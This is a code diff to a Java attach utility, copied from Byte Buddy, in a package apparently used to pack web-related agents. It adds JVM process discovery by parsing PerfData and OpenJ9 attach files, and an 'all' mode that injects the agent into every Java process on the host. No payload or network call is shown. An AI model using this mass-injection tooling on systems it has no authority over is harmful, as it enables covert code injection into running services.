import java.util.List;
|
||||||
|
import java.util.Properties;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
@@ -91,6 +97,41 @@ public class Attacher {
|
|||||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Lists all discoverable Java processes on the local host.
|
||||||
|
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
|
||||||
|
* in the system temporary folder and parsing PerfData binary files to extract
|
||||||
|
* the main class name. OpenJ9 processes are discovered by scanning
|
||||||
|
* {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Note</b>: Only processes accessible to the current user are listed.
|
||||||
|
* Stale entries from crashed JVMs may appear. Processes started with
|
||||||
|
* {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return A list of discovered Java process descriptors.
|
||||||
|
*/
|
||||||
|
public static List<JavaProcessDescriptor> listJavaProcesses() {
|
||||||
|
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seenPids = new HashSet<String>();
|
||||||
|
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return processes;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Installs a Java agent on a target VM.
|
* Installs a Java agent on a target VM.
|
||||||
*
|
*
|
||||||
@@ -928,4 +969,431 @@ public class Attacher {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Represents a discovered Java process on the local host.
|
||||||
|
*/
|
||||||
|
public static class JavaProcessDescriptor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The process ID.
|
||||||
|
*/
|
||||||
|
private final String pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The main class name or JAR path, may be empty if unknown.
|
||||||
|
*/
|
||||||
|
private final String mainClass;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
|
||||||
|
*/
|
||||||
|
private final String vmType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new Java process descriptor.
|
||||||
|
*
|
||||||
|
* @param pid The process ID.
|
||||||
|
* @param mainClass The main class name or JAR path, may be empty if unknown.
|
||||||
|
* @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||||
|
*/
|
||||||
|
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
|
||||||
|
this.pid = pid;
|
||||||
|
this.mainClass = mainClass;
|
||||||
|
this.vmType = vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the process ID.
|
||||||
|
*
|
||||||
|
* @return The process ID.
|
||||||
|
*/
|
||||||
|
public String getPid() {
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the main class name or JAR path. May be empty if unknown.
|
||||||
|
*
|
||||||
|
* @return The main class name.
|
||||||
|
*/
|
||||||
|
public String getMainClass() {
|
||||||
|
return mainClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the JVM type identifier.
|
||||||
|
*
|
||||||
|
* @return The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||||
|
*/
|
||||||
|
public String getVmType() {
|
||||||
|
return vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
sb.append(pid);
|
||||||
|
if (mainClass.length() > 0) {
|
||||||
|
sb.append(' ').append(mainClass);
|
||||||
|
}
|
||||||
|
sb.append(" (").append(vmType).append(')');
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
|
||||||
|
* in the system temporary folder and parsing PerfData v2 binary files.
|
||||||
|
*/
|
||||||
|
private static class HotSpotProcessDiscovery {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The PerfData magic number: {@code 0xcafec0c0}.
|
||||||
|
*/
|
||||||
|
private static final int PERFDATA_MAGIC = 0xcafec0c0;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The directory name prefix for HotSpot PerfData user directories.
|
||||||
|
*/
|
||||||
|
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The PerfData entry name for the Java command line.
|
||||||
|
*/
|
||||||
|
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The data units value for STRING type entries.
|
||||||
|
*/
|
||||||
|
private static final byte UNITS_STRING = 5;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Maximum PerfData file size to read (1 MB), as a safety bound.
|
||||||
|
*/
|
||||||
|
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Minimum PerfData file size (v2 prologue is 32 bytes).
|
||||||
|
*/
|
||||||
|
private static final int MIN_PERFDATA_SIZE = 32;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The size of a PerfData v2 entry header in bytes.
|
||||||
|
*/
|
||||||
|
private static final int ENTRY_HEADER_SIZE = 20;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers all HotSpot JVM processes visible to the current user.
|
||||||
|
*
|
||||||
|
* @return A list of discovered HotSpot Java process descriptors.
|
||||||
|
*/
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seen = new HashSet<String>();
|
||||||
|
for (File tmpDir : getTempDirectories()) {
|
||||||
|
if (!tmpDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] userDirs = tmpDir.listFiles();
|
||||||
|
if (userDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File userDir : userDirs) {
|
||||||
|
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] pidFiles = userDir.listFiles();
|
||||||
|
if (pidFiles == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File pidFile : pidFiles) {
|
||||||
|
String fileName = pidFile.getName();
|
||||||
|
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!seen.add(fileName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
String javaCommand = parsePerfData(pidFile);
|
||||||
|
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the list of temporary directories to scan for HotSpot PerfData files.
|
||||||
|
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||||
|
* and also {@code java.io.tmpdir} if it differs.
|
||||||
|
*
|
||||||
|
* @return A list of temporary directories.
|
||||||
|
*/
|
||||||
|
private static List<File> getTempDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir")));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp"));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
dirs.add(new File(javaIoTmpDir));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Parses a HotSpot PerfData v2 binary file to extract the value of
|
||||||
|
* {@code sun.rt.javaCommand}.
|
||||||
|
* <p>
|
||||||
|
* The PerfData v2 binary format consists of a 32-byte prologue followed
|
||||||
|
* by a sequence of variable-length entries. Each entry contains a name
|
||||||
|
* and a data value. This method iterates through entries looking for
|
||||||
|
* the {@code sun.rt.javaCommand} entry.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param file The PerfData file to parse.
|
||||||
|
* @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
|
||||||
|
*/
|
||||||
|
private static String parsePerfData(File file) {
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
fis = new FileInputStream(file);
|
||||||
|
long fileLength = file.length();
|
||||||
|
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
byte[] data = new byte[(int) fileLength];
|
||||||
|
int totalRead = 0;
|
||||||
|
int bytesRead;
|
||||||
|
while (totalRead < data.length
|
||||||
|
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
|
||||||
|
totalRead += bytesRead;
|
||||||
|
}
|
||||||
|
if (totalRead < MIN_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
|
||||||
|
// Magic number is always stored in big-endian
|
||||||
|
buffer.order(ByteOrder.BIG_ENDIAN);
|
||||||
|
int magic = buffer.getInt(); // offset 0
|
||||||
|
if (magic != PERFDATA_MAGIC) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
byte byteOrder = buffer.get(); // offset 4
|
||||||
|
if (byteOrder == 1) {
|
||||||
|
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte majorVersion = buffer.get(); // offset 5
|
||||||
|
buffer.get(); // offset 6: minor version
|
||||||
|
buffer.get(); // offset 7: accessible / reserved
|
||||||
|
|
||||||
|
if (majorVersion < 2) {
|
||||||
|
// Only PerfData v2 format is supported
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// v2 prologue fields
|
||||||
|
buffer.getInt(); // offset 8: used
|
||||||
|
buffer.getInt(); // offset 12: overflow
|
||||||
|
buffer.getLong(); // offset 16: mod_time_stamp
|
||||||
|
int entryOffset = buffer.getInt(); // offset 24: entry_offset
|
||||||
|
int numEntries = buffer.getInt(); // offset 28: num_entries
|
||||||
|
|
||||||
|
// Iterate through PerfData entries
|
||||||
|
int pos = entryOffset;
|
||||||
|
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
|
||||||
|
buffer.position(pos);
|
||||||
|
int entryLength = buffer.getInt();
|
||||||
|
if (entryLength <= 0 || pos + entryLength > totalRead) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
int nameOffset = buffer.getInt();
|
||||||
|
buffer.getInt(); // vector_length
|
||||||
|
buffer.get(); // data_type
|
||||||
|
buffer.get(); // flags
|
||||||
|
byte dataUnits = buffer.get(); // data_units
|
||||||
|
buffer.get(); // data_variability
|
||||||
|
int dataOffset = buffer.getInt();
|
||||||
|
|
||||||
|
// Read the entry name (null-terminated UTF-8 string)
|
||||||
|
int nameStart = pos + nameOffset;
|
||||||
|
if (nameStart < 0 || nameStart >= totalRead) {
|
||||||
|
pos += entryLength;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int nameEnd = nameStart;
|
||||||
|
while (nameEnd < totalRead && data[nameEnd] != 0) {
|
||||||
|
nameEnd++;
|
||||||
|
}
|
||||||
|
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
|
||||||
|
|
||||||
|
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
|
||||||
|
// Read the string value
|
||||||
|
int dataStart = pos + dataOffset;
|
||||||
|
if (dataStart < 0 || dataStart >= totalRead) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int dataEnd = dataStart;
|
||||||
|
while (dataEnd < totalRead && data[dataEnd] != 0) {
|
||||||
|
dataEnd++;
|
||||||
|
}
|
||||||
|
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
|
||||||
|
}
|
||||||
|
|
||||||
|
pos += entryLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return "";
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Checks if a string consists entirely of digit characters.
|
||||||
|
*
|
||||||
|
* @param str The string to check.
|
||||||
|
* @return {@code true} if the string is non-empty and contains only digits.
|
||||||
|
*/
|
||||||
|
private static boolean isNumeric(String str) {
|
||||||
|
if (str == null || str.isEmpty()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < str.length(); i++) {
|
||||||
|
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts the main class name from a {@code sun.rt.javaCommand} value.
|
||||||
|
* The value format is typically {@code "mainClass arg1 arg2 ..."} or
|
||||||
|
* {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
|
||||||
|
* first space-delimited token.
|
||||||
|
*
|
||||||
|
* @param javaCommand The full Java command string.
|
||||||
|
* @return The main class or JAR name, or empty string if input is empty.
|
||||||
|
*/
|
||||||
|
private static String extractMainClass(String javaCommand) {
|
||||||
|
if (javaCommand == null || javaCommand.isEmpty()) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int spaceIndex = javaCommand.indexOf(' ');
|
||||||
|
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
|
||||||
|
* and reading {@code attachInfo} property files.
|
||||||
|
*/
|
||||||
|
private static class OpenJ9ProcessDiscovery {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The directory name used by OpenJ9 for attach API information.
|
||||||
|
*/
|
||||||
|
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The file name containing process attach information within each VM directory.
|
||||||
|
*/
|
||||||
|
private static final String ATTACH_INFO_FILE = "attachInfo";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers all OpenJ9 JVM processes visible to the current user.
|
||||||
|
*
|
||||||
|
* @return A list of discovered OpenJ9 Java process descriptors.
|
||||||
|
*/
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
for (File attachDir : getAttachDirectories()) {
|
||||||
|
if (!attachDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] vmDirs = attachDir.listFiles();
|
||||||
|
if (vmDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File vmDir : vmDirs) {
|
||||||
|
if (!vmDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
|
||||||
|
if (!attachInfo.isFile() || !attachInfo.canRead()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
Properties props = new Properties();
|
||||||
|
fis = new FileInputStream(attachInfo);
|
||||||
|
props.load(fis);
|
||||||
|
String pid = props.getProperty("processId");
|
||||||
|
String displayName = props.getProperty("displayName", "");
|
||||||
|
if (pid != null && pid.length() > 0) {
|
||||||
|
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the list of directories to scan for OpenJ9 attach information.
|
||||||
|
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||||
|
* and also {@code java.io.tmpdir} if it differs. Additionally checks the
|
||||||
|
* {@code com.ibm.tools.attach.directory} system property.
|
||||||
|
*
|
||||||
|
* @return A list of attach directories to scan.
|
||||||
|
*/
|
||||||
|
private static List<File> getAttachDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
|
||||||
|
if (ibmAttachDir != null) {
|
||||||
|
dirs.add(new File(ibmAttachDir));
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,46 @@
|
|||||||
|
import java.util.List;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/5/16
|
* @since 2025/5/16
|
||||||
*/
|
*/
|
||||||
public class Main {
|
public class Main {
|
||||||
|
/**
|
||||||
|
* java -jar attach.jar — 列出所有 Java 进程
|
||||||
|
* java -jar attach.jar <pid> — 注入指定进程
|
||||||
|
* java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程)
|
||||||
|
*/
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
|
if (args.length == 0) {
|
||||||
|
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||||
|
if (processes.isEmpty()) {
|
||||||
|
System.out.println("No Java processes found.");
|
||||||
|
} else {
|
||||||
|
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||||
|
System.out.println(process);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if ("all".equalsIgnoreCase(args[0])) {
|
||||||
|
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||||
|
String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
|
||||||
|
if (processes.isEmpty()) {
|
||||||
|
System.out.println("No Java processes found.");
|
||||||
|
} else {
|
||||||
|
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||||
|
if (process.getPid().equals(currentPid)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
System.out.println("Attaching to " + process + " ...");
|
||||||
|
Attacher.attach(process.getPid());
|
||||||
|
System.out.println(" -> Success");
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.out.println(" -> Failed: " + e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
Attacher.attach(args[0]);
|
Attacher.attach(args[0]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ package com.reajason.javaweb.packer.jar.attach;/*
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,13 +23,12 @@ import java.net.MalformedURLException;
|
|||||||
import java.net.URISyntaxException;
|
import java.net.URISyntaxException;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.ByteOrder;
|
||||||
import java.security.CodeSource;
|
import java.security.CodeSource;
|
||||||
import java.security.PrivilegedAction;
|
import java.security.PrivilegedAction;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.Collections;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
@@ -53,25 +53,55 @@ public class Attacher {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
|
if (args.length == 0) {
|
||||||
|
List<JavaProcessDescriptor> processes = listJavaProcesses();
|
||||||
|
if (processes.isEmpty()) {
|
||||||
|
System.out.println("No Java processes found.");
|
||||||
|
} else {
|
||||||
|
for (JavaProcessDescriptor process : processes) {
|
||||||
|
System.out.println(process);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if ("all".equalsIgnoreCase(args[0])) {
|
||||||
|
List<JavaProcessDescriptor> processes = listJavaProcesses();
|
||||||
|
String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
|
||||||
|
if (processes.isEmpty()) {
|
||||||
|
System.out.println("No Java processes found.");
|
||||||
|
} else {
|
||||||
|
for (JavaProcessDescriptor process : processes) {
|
||||||
|
if (process.getPid().equals(currentPid)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
try {
|
try {
|
||||||
Attacher.attach(args[0]);
|
System.out.println("Attaching to " + process + " ...");
|
||||||
|
doAttach(process.getPid());
|
||||||
|
System.out.println(" -> Success");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (!e.getMessage().equals("0")) {
|
System.out.println(" -> Failed: " + e.getMessage());
|
||||||
Throwable cause = e.getCause();
|
e.printStackTrace();
|
||||||
if (cause != null) {
|
|
||||||
if (!cause.getMessage().equals("0")) {
|
|
||||||
cause = e.getCause();
|
|
||||||
if (cause != null) {
|
|
||||||
if (!cause.getMessage().equals("0")) {
|
|
||||||
throw e;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
doAttach(args[0]);
|
||||||
System.out.println("ok");
|
System.out.println("ok");
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void doAttach(String processId) {
|
||||||
|
try {
|
||||||
|
Attacher.attach(processId);
|
||||||
|
} catch (Exception e) {
|
||||||
|
Throwable currentCause = e;
|
||||||
|
while (currentCause != null) {
|
||||||
|
if ("0".equals(currentCause.getMessage())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
currentCause = currentCause.getCause();
|
||||||
|
}
|
||||||
|
throw (RuntimeException) e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <p>
|
* <p>
|
||||||
@@ -112,6 +142,30 @@ public class Attacher {
|
|||||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Lists all discoverable Java processes on the local host.
|
||||||
|
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return A list of discovered Java process descriptors.
|
||||||
|
*/
|
||||||
|
public static List<JavaProcessDescriptor> listJavaProcesses() {
|
||||||
|
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seenPids = new HashSet<String>();
|
||||||
|
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return processes;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Installs a Java agent on a target VM.
|
* Installs a Java agent on a target VM.
|
||||||
*
|
*
|
||||||
@@ -949,4 +1003,300 @@ public class Attacher {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Represents a discovered Java process on the local host.
|
||||||
|
*/
|
||||||
|
public static class JavaProcessDescriptor {
|
||||||
|
|
||||||
|
private final String pid;
|
||||||
|
private final String mainClass;
|
||||||
|
private final String vmType;
|
||||||
|
|
||||||
|
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
|
||||||
|
this.pid = pid;
|
||||||
|
this.mainClass = mainClass;
|
||||||
|
this.vmType = vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getPid() {
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getMainClass() {
|
||||||
|
return mainClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getVmType() {
|
||||||
|
return vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
sb.append(pid);
|
||||||
|
if (mainClass.length() > 0) {
|
||||||
|
sb.append(' ').append(mainClass);
|
||||||
|
}
|
||||||
|
sb.append(" (").append(vmType).append(')');
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
|
||||||
|
*/
|
||||||
|
private static class HotSpotProcessDiscovery {
|
||||||
|
|
||||||
|
private static final int PERFDATA_MAGIC = 0xcafec0c0;
|
||||||
|
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
|
||||||
|
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
|
||||||
|
private static final byte UNITS_STRING = 5;
|
||||||
|
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
|
||||||
|
private static final int MIN_PERFDATA_SIZE = 32;
|
||||||
|
private static final int ENTRY_HEADER_SIZE = 20;
|
||||||
|
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seen = new HashSet<String>();
|
||||||
|
for (File tmpDir : getTempDirectories()) {
|
||||||
|
if (!tmpDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] userDirs = tmpDir.listFiles();
|
||||||
|
if (userDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File userDir : userDirs) {
|
||||||
|
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] pidFiles = userDir.listFiles();
|
||||||
|
if (pidFiles == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File pidFile : pidFiles) {
|
||||||
|
String fileName = pidFile.getName();
|
||||||
|
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
|
||||||
|
